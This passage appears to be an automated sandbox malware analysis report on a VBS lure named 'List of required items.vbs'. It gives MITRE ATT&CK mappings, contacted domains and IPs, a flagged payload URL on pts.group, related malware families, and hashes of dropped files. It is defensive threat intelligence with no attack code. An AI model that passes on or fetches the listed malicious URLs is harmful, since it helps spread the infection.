Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	211 Scripting	Valid Accounts	1 Command and Scripting Interpreter	211 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
List of required items.vbs	5%	Virustotal		Browse

Source	Detection	Scanner	Label
https://www.fornid.com/ab/List%20of%20required%20items.xlsx	0%	Avira URL Cloud	safe
https://www.pts.group/ab/ab.vbs	100%	Avira URL Cloud	malware
http://www.fornid.com	0%	Avira URL Cloud	safe
https://www.fornid.com	0%	Avira URL Cloud	safe
http://pts.group	0%	Avira URL Cloud	safe
https://www.pts.group	0%	Avira URL Cloud	safe
https://www.pts.group/ab/ab.vbs0	0%	Avira URL Cloud	safe
https://go.microsoft.co	0%	Avira URL Cloud	safe
http://www.microsoft.cofW	0%	Avira URL Cloud	safe
https://www.fornid.com/ab/List	0%	Avira URL Cloud	safe
http://fornid.com	0%	Avira URL Cloud	safe
http://www.pts.group	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mira-tmc.tm-4.office.com	52.123.243.179	true	false	high
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
fornid.com	93.95.216.175	true	true	unknown
pts.group	68.66.226.116	true	true	unknown
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
www.fornid.com	unknown	unknown	true	unknown
www.pts.group	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.pts.group/ab/ab.vbs	true	Avira URL Cloud: malware	unknown
https://www.fornid.com/ab/List%20of%20required%20items.xlsx	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2816308883.0000022AAD7E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2795821460.0000022A9D85C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.microsoft.co	powershell.exe, 00000002.00000002.2818970415.0000022AB576D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2795821460.0000022A9D85C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000002.00000002.2795821460.0000022A9E25C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000004.00000002.2797556263.000001C3BD811000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.fornid.com	powershell.exe, 00000002.00000002.2795821460.0000022A9EDF0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://pts.group	powershell.exe, 00000002.00000002.2795821460.0000022A9EC16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000004.00000003.1551381298.000001C3BD6E0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2795821460.0000022A9D85C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fornid.com	powershell.exe, 00000002.00000002.2795821460.0000022A9F38A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod/C:	edb.log.4.dr	false		high
http://crl.m	powershell.exe, 00000002.00000002.2820083162.0000022AB5920000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.pts.group	powershell.exe, 00000002.00000002.2795821460.0000022A9E25C000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.microsoft.cofW	powershell.exe, 00000002.00000002.2794990310.0000022A9B985000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2816308883.0000022AAD7E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.fornid.com/ab/List	powershell.exe, 00000002.00000002.2795821460.0000022A9EDF0000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2795821460.0000022A9D631000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.pts.group/ab/ab.vbs0	powershell.exe, 00000002.00000002.2795821460.0000022A9D85C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2795821460.0000022A9D631000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.pts.group	powershell.exe, 00000002.00000002.2795821460.0000022A9EC16000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://fornid.com	powershell.exe, 00000002.00000002.2795821460.0000022A9F38A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
52.123.243.179	mira-tmc.tm-4.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
93.95.216.175	fornid.com	Italy	52030	SERVERPLAN-ASIT	true
68.66.226.116	pts.group	United States	55293	A2HOSTINGUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570907
Start date and time:	2024-12-08 10:45:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	List of required items.vbs
Detection:	MAL
Classification:	mal88.expl.evad.winVBS@9/11@2/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 75% Number of executed functions: 3 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.218.208.109, 52.109.28.46, 52.109.76.243, 199.232.214.172, 52.168.117.174
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, eur.roaming1.live.com.akadns.net, neu-azsc-000.roaming.officeapps.live.com, roaming.officeapps.live.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, officeclient.microsoft.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, ecs.office.com, self-events-data.trafficmanager.net, fs.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, prod.configsvc1.live.com.akadns.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, prod.roaming1.live.com.akadns.net, fe3cr.delivery.mp.microsoft.com, config.officeapps.live.com, osiprod-neu-buff-azsc-000.northeurope.cloudapp.azure.com, azureedge-t-prod.trafficmanager.net, ecs.office.trafficmanager.net, onedscolprdeus22.eastus.cloudapp.azure.com, europe.configsvc1.live.com.akadns.net, uks-azsc-config.offic
Execution Graph export aborted for target powershell.exe, PID 3796 because it is empty
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:46:16	API Interceptor	4673661x Sleep call for process: powershell.exe modified
04:46:18	API Interceptor	2x Sleep call for process: svchost.exe modified
04:47:26	API Interceptor	629x Sleep call for process: splwow64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	Contract Proposal Documents.pdf	Get hash	malicious	Unknown	Browse	assets-gbr.mkt.dynamics.com/cc57758b-ada1-ef11-8a64-000d3a872ba0/digitalassets/standaloneforms/645a21a8-32ac-ef11-b8e8-6045bd0f229c
93.95.216.175	List of Required items and specifications.pdf.vbs	Get hash	malicious	Unknown	Browse
	ky.ps1	Get hash	malicious	Unknown	Browse
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse
	mj.ps1	Get hash	malicious	Unknown	Browse
	ap.ps1	Get hash	malicious	Unknown	Browse
	cu.ps1	Get hash	malicious	Unknown	Browse
	ni.ps1	Get hash	malicious	Unknown	Browse
68.66.226.116	Bill Of Lading_MEDUVB935991.pdf.exe	Get hash	malicious	FormBook	Browse	www.myrideguy.net/kgyd/
	AL HAYAT DUBAI UAE PRODUCTION RFQ 2024.exe	Get hash	malicious	FormBook	Browse	www.myrideguy.net/kgyd/
	Parfumens.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.arkgracechurch.com/qgq0/?ehzP8J=UhfgO53CoFS/baI5kBVtB1g8e8T/vciqKxKj6nf60DcK4G69QwsDs9mnRzbZxr8Ky8ZlNqHuRR+isOSUfNtlT6JPmq1blVIczw==&obSf_=6mSb4d
	Afklde.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.arkgracechurch.com/qgq0/?RiMDw1pV=UhfgO53CoFS/baI5kBVtB1g8e8T/vciqKxKj6nf60DcK4G69QwsDs9mnRzbZxr8Ky8ZlNqHuRR+isOSUfNtlT6JPmq1blVIczw==&Yx5=ef1G-xddsOpF

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	TTSIpRHKZz.exe	Get hash	malicious	Babadeda, Binder HackTool	Browse	199.232.214.172
	7rTjhbfF6L.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	YnViC5yHLu.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.210.172
	5386.pdf.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5386.pdf.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	1.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	nwindowsdll.msi	Get hash	malicious	AteraAgent	Browse	199.232.210.172
	file.exe	Get hash	malicious	Credential Flusher	Browse	199.232.214.172
	Outstanding_Payment.vbs_.vbs	Get hash	malicious	XenoRAT	Browse	199.232.214.172
mira-tmc.tm-4.office.com	K0Szg26cRh.doc	Get hash	malicious	Unknown	Browse	52.123.243.180
	Note no. ROC 2453-2024.doc	Get hash	malicious	Unknown	Browse	52.123.243.181
	https://trinasolarus-my.sharepoint.com/:f:/g/personal/matt_hutchison_trinasolar_com/EuTm6V8CKxFPmV0-8tDYkU8B7bgg8BNpE1Urptg3NNJsZw?e=bQub2M	Get hash	malicious	Unknown	Browse	52.123.243.183
	MdDRzxozMD.xlsx	Get hash	malicious	Unknown	Browse	52.123.243.183
	NEW ORDER #233.xlam.xlsx	Get hash	malicious	Unknown	Browse	52.123.243.178
	Citation(1).docx	Get hash	malicious	Unknown	Browse	52.123.243.177
	https://theoggroup-my.sharepoint.com/:u:/g/personal/rohit_theoggroup_co/EW1S6u7eBPZAkl8sn76CFW4B9_fhjfgaN299JnYAgaQ9MQ?e=CXhREy&xsdata=MDV8MDJ8RGVib3JhaC5DbGFya0BtcGZ0Lm5ocy51a3w5NDRiZjU4NDRlNTk0NmZlNWNlNTA4ZGQwZmI5NDMxMnxjMzdkNjM1N2M4OGI0MjZiYjY4MGRmODE2NmE4NmVkN3wwfDB8NjM4Njg0MDEwNTcwNTEwNzIwfFVua25vd258VFdGcGJHWnNiM2Q4ZXlKRmJYQjBlVTFoY0draU9uUnlkV1VzSWxZaU9pSXdMakF1TURBd01DSXNJbEFpT2lKWGFXNHpNaUlzSWtGT0lqb2lUV0ZwYkNJc0lsZFVJam95ZlE9PXwwfHx8&sdata=MHA0b3IvdkFFTytKRVJ3WGJUSzFiaW1jbm16a2hNNURVamQwbGRiNFB6RT0%3d	Get hash	malicious	Unknown	Browse	52.123.243.180
	https://ymcajeffco-my.sharepoint.com/:u:/g/personal/rcampbell_mtvernonymca_org/Eb_PxgSrk7VCrlppYfmkXowB9vCdCR2cgdVG8AQkH7BcbQ?e=b9efJ2	Get hash	malicious	HTMLPhisher	Browse	52.123.243.182
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	52.123.243.184
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	52.123.243.184

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	List of Required items and specifications.pdf.vbs	Get hash	malicious	Unknown	Browse	13.107.246.63
	K0Szg26cRh.doc	Get hash	malicious	Unknown	Browse	52.123.243.180
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	meerkat.mpsl.elf	Get hash	malicious	Mirai	Browse	20.73.88.104
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
MICROSOFT-CORP-MSN-AS-BLOCKUS	List of Required items and specifications.pdf.vbs	Get hash	malicious	Unknown	Browse	13.107.246.63
	K0Szg26cRh.doc	Get hash	malicious	Unknown	Browse	52.123.243.180
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	meerkat.mpsl.elf	Get hash	malicious	Mirai	Browse	20.73.88.104
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
SERVERPLAN-ASIT	List of Required items and specifications.pdf.vbs	Get hash	malicious	Unknown	Browse	93.95.216.175
	https://lodovicicostruzioni.com/wp-content/uploads/2018/08/apfgj45.php	Get hash	malicious	Unknown	Browse	46.30.247.142
	ky.ps1	Get hash	malicious	Unknown	Browse	93.95.216.175
	List of Required items xlsx.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	93.95.216.175
	mj.ps1	Get hash	malicious	Unknown	Browse	93.95.216.175
	ap.ps1	Get hash	malicious	Unknown	Browse	93.95.216.175
	cu.ps1	Get hash	malicious	Unknown	Browse	93.95.216.175
	ni.ps1	Get hash	malicious	Unknown	Browse	93.95.216.175
	untrippingvT.ps1	Get hash	malicious	Unknown	Browse	46.254.34.201

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	List of Required items and specifications.pdf.vbs	Get hash	malicious	Unknown	Browse	13.107.246.63
	3qvTuHPZz2.exe	Get hash	malicious	Meduza Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	7rTjhbfF6L.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	S1NrYNOYhZ.exe	Get hash	malicious	Stealc, Vidar	Browse	13.107.246.63
	RUCkZvoDjG.htm	Get hash	malicious	WinSearchAbuse	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
3b5074b1b5d032e5620f69f9f700ff0e	List of Required items and specifications.pdf.vbs	Get hash	malicious	Unknown	Browse	93.95.216.175 68.66.226.116
	8AE6w4efXi.exe	Get hash	malicious	Unknown	Browse	93.95.216.175 68.66.226.116
	ea4LTmpMwl.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	93.95.216.175 68.66.226.116
	YWFMFVCSun.bat	Get hash	malicious	AsyncRAT, DcRat	Browse	93.95.216.175 68.66.226.116
	8AE6w4efXi.exe	Get hash	malicious	Unknown	Browse	93.95.216.175 68.66.226.116
	7rTjhbfF6L.exe	Get hash	malicious	Unknown	Browse	93.95.216.175 68.66.226.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	93.95.216.175 68.66.226.116
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	93.95.216.175 68.66.226.116
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	93.95.216.175 68.66.226.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	93.95.216.175 68.66.226.116
a0e9f5d64349fb13191bc781f81f42e1	List of Required items and specifications.pdf.vbs	Get hash	malicious	Unknown	Browse	52.123.243.179 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.123.243.179 13.107.246.63
	Q8o0Mx52Fd.exe	Get hash	malicious	Unknown	Browse	52.123.243.179 13.107.246.63
	Q8o0Mx52Fd.exe	Get hash	malicious	Unknown	Browse	52.123.243.179 13.107.246.63
	K0Szg26cRh.doc	Get hash	malicious	Unknown	Browse	52.123.243.179 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.123.243.179 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	52.123.243.179 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.123.243.179 13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	52.123.243.179 13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	52.123.243.179 13.107.246.63

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022016572360802
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAk:RJE+Lfki1GjHwU/+vVhWqpd
MD5:	F7E46D09166013830D60FA7268361B01
SHA1:	BCDA825C5412F0A9D358467FD74CAEC4A8B7FE5D
SHA-256:	BEDDD39309056DB3842D07BCD5287954618ACAD053564F513B7CED5433398C99
SHA-512:	FE3B08FFFA73AE8DDD0CE0639F2502E8095FD0C47C116EC5198F7F691E0439809AB39AAFA3AC246C3CF2F2631E7A292156DF5F51A5E9524EA1BC9004A8F44FD1
Malicious:	false
Reputation:	low
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x16623ed7, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433615987727093
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:bazaHvxXy2V2UR
MD5:	847CD7456292D0724D8F7AE5A3BD7BA0
SHA1:	C24C1D872472B77454EA5E8430D35D33717E8192
SHA-256:	BC85FDC6249341D3BF97B4608C703709459BA524D648D319FC0652E591232B3E
SHA-512:	27850AF077F4C6455A216D1067F00D702900ABB2CA13107C05641F61B557B1940D508FEC94BBFE0C354B61EF5AE5FA7CACBF1B67E58A48ACCFBDD15181B4017C
Malicious:	false
Reputation:	low
Preview:	.b>.... ...............X\...;...{......................0.x...... ...{s......\|K.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................[.......\|i.........................\|K..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0818552313281024
Encrypted:	false
SSDEEP:	3:tLqXEYeAYzll/nqlFcl1ZUlllldApUlAllGBnX/l/Tj/k7/t:0UzPll/qlFclQ/lIp8A254
MD5:	13F09E363B0181A76D599F296BC536E5
SHA1:	7FA74D7913BA04F98D319CFA6E025BF1DE785507
SHA-256:	2A2E91720DE801AF1C1487B79F8664ECE12574EFD970BB93B335629508ACAADD
SHA-512:	A856C025D5C6C05A9B2231B018E7BB65DD1C7D92F71BFFB2D4E1A2760F11B3DA65DFE067923A67FC7B998A69DC71FC9EF0D07084E8BB535818AF66C4913F39AF
Malicious:	false
Reputation:	low
Preview:	...v.....................................;...{.......\|K.. ...{s.......... ...{s.. ...{s.P.... ...{s.........................\|K.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\s5wu2avs.xlsx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	8102
Entropy (8bit):	6.568397432820325
Encrypted:	false
SSDEEP:	192:wc8mVrb3UH8QOTLQxizT3W7+p+1iIKoA7Yp4Ns:wc313rDQITMaUARNs
MD5:	76867B70E4722699C523B3DD3EB4524E
SHA1:	2F9C1F14FC0A5CF128D5C98611CA348FFA9F497F
SHA-256:	8725322D24CA83BE5BAB62E530EAD8B32D1EB1FF9F671A5EC0225021D5D90FA3
SHA-512:	2563FB531706A330C63A6E99AF3A2EACF3B3E891D9BD554F230BFC816FBFF7A4436FE15769EA9E89C40053D7F74C4C2C88C2EA5FBAA339171D8974C6122CACB5
Malicious:	true
Preview:	PK..........!.b.h^...........[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-J.@.5...Q>...c[.ii.....B..j7....{2..h.nm....R.....U^.7/...%....rZY...@1.__.f...q..R4D.AJ..h..>....V.....Z.9....NV..8.......ji){^..-I.."{..v^.P!XS)bR.r..K.s(.3.`c..0..........7.M4......Z.k+.\|\\|z.(...P..6.h_-[.@.!....Pk....2n.}.?..L... ..%......d....dN."m,..DO97.~...8.O.c.\|n.....E........B...!$}.....;{...[.....2........PK..........!..U0#....L......._rels/.rels ...(...................................

C:\Users\Public\~$s5wu2avs.xlsx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.5231029153786204
Encrypted:	false
SSDEEP:	3:WH25nJFV:WH2/
MD5:	FB5ABAA34A0BB284B640327B9745AAAC
SHA1:	7E1063A0F1DE0E83424399F104C1D3752BFAECDE
SHA-256:	12464C713EE2E0CBBDCF98FACF8AC034D34A9F4D221D7BB7A5C7D458AAEC0AF9
SHA-512:	0FB235A4475D72D9BB6A195F6DFE471152B91F6DE0967D4174298D0A3C228BFF0ED57F0A5F388833A7793BD90F6CA0D5A974D21D795938D8D96C079AB5D99294
Malicious:	false
Preview:	.user ..h.u.b.e.r.t. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

